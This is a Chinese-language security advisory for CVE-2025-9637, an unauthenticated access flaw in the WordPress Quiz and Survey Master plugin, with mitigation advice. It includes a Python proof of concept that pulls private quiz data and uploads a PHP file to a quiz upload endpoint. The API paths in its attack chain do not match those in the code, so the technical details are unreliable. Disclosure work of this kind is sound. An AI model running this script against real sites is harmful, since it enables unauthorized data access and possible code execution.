IPBUF安全漏洞报告
English
CVE-2025-9637 CVSS 6.5 中危

CVE-2025-9637 WordPress QSM插件未授权访问漏洞

披露日期: 2026-01-06

漏洞信息

漏洞编号
CVE-2025-9637
漏洞类型
授权绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Quiz and Survey Master (QSM) WordPress插件

相关标签

授权绕过未授权访问WordPress插件CVE-2025-9637QSMREST API漏洞文件上传中危漏洞

漏洞概述

WordPress Quiz and Survey Master (QSM)插件存在严重的授权绕过漏洞。攻击者可以在无需任何认证的情况下,访问未发布、私有或受密码保护的测验详情,包括测验题目、答案选项等敏感信息。此外,攻击者还能向支持文件上传的测验问题提交恶意文件响应,可能导致进一步的安全风险。该漏洞影响所有10.3.1及以下版本,由于插件缺乏对多个关键函数的权限验证和状态检查,使得未授权用户能够直接调用相关API接口获取或修改测验数据。

技术细节

漏洞根源在于QSM插件的REST API端点缺少适当的权限验证。具体问题出现在class-qmn-quiz-manager.php文件中的多个函数(特别是第1987行和第281行附近),以及rest-api.php文件中的API处理逻辑。攻击者可以通过构造特定的HTTP请求,直接访问原本需要管理员权限才能查看的测验数据接口。由于缺少对测验状态的检查,私有测验、密码保护测验的内容也会被返回。攻击者还能够向启用了文件上传功能的测验问题提交任意文件,可能被利用来上传恶意文件。

攻击链分析

STEP 1
步骤1
攻击者识别运行QSM插件 <= 10.3.1版本的WordPress站点
STEP 2
步骤2
攻击者构造HTTP请求直接访问QSM的REST API端点,无需任何认证凭证
STEP 3
步骤3
通过访问/api/v1/quizzes或/api/v1/quiz/{id}等端点,获取未发布、私有或密码保护测验的详细内容
STEP 4
步骤4
识别支持文件上传的测验问题,利用/api/v1/upload端点提交恶意文件
STEP 5
步骤5
如果上传目录配置不当,攻击者可能获得远程代码执行能力

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-9637 PoC - Unauthenticated access to QSM quizzes # Target: WordPress site with Quiz and Survey Master plugin <= 10.3.1 def check_vulnerability(target_url): """Check if target is vulnerable to CVE-2025-9637""" # Try to access quiz list without authentication endpoints = [ f"{target_url}/?rest_route=/qsm/v1/quizzes", f"{target_url}/wp-json/qsm/v1/quizzes", f"{target_url}/?rest_route=/qsm/v1/quiz/1" ] vulnerable = False results = [] for endpoint in endpoints: try: response = requests.get(endpoint, timeout=10) if response.status_code == 200: data = response.json() if data: vulnerable = True results.append(f"[+] Vulnerable endpoint found: {endpoint}") results.append(f"[+] Response data: {json.dumps(data, indent=2)}") elif response.status_code == 401: results.append(f"[-] Protected: {endpoint}") except Exception as e: results.append(f"[!] Error: {e}") return vulnerable, results def exploit_file_upload(target_url, quiz_id=1): """Attempt to upload file to vulnerable quiz""" upload_endpoint = f"{target_url}/?rest_route=/qsm/v1/upload" files = { 'file': ('malicious.php', '<?php phpinfo(); ?>', 'application/x-php') } data = { 'quiz_id': quiz_id } try: response = requests.post(upload_endpoint, files=files, data=data, timeout=10) if response.status_code in [200, 201, 202]: return True, response.text return False, response.text except Exception as e: return False, str(e) if __name__ == "__main__": import sys if len(sys.argv) > 1: target = sys.argv[1] print(f"[*] Testing {target} for CVE-2025-9637...") is_vuln, details = check_vulnerability(target) for d in details: print(d) if is_vuln: print("\n[!] Target is VULNERABLE to CVE-2025-9637") else: print("Usage: python cve-2025-9637.py <target_url>")

影响范围

Quiz and Survey Master (QSM) <= 10.3.1

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时措施:1) 使用WordPress安全插件限制未授权API访问;2) 临时禁用测验的文件上传功能;3) 通过.htaccess或Nginx配置限制API端点的访问频率;4) 监控access日志中的异常API请求模式;5) 考虑使用防火墙规则阻止对可疑API路径的访问。建议尽快升级到插件最新版本以获得完整的安全修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表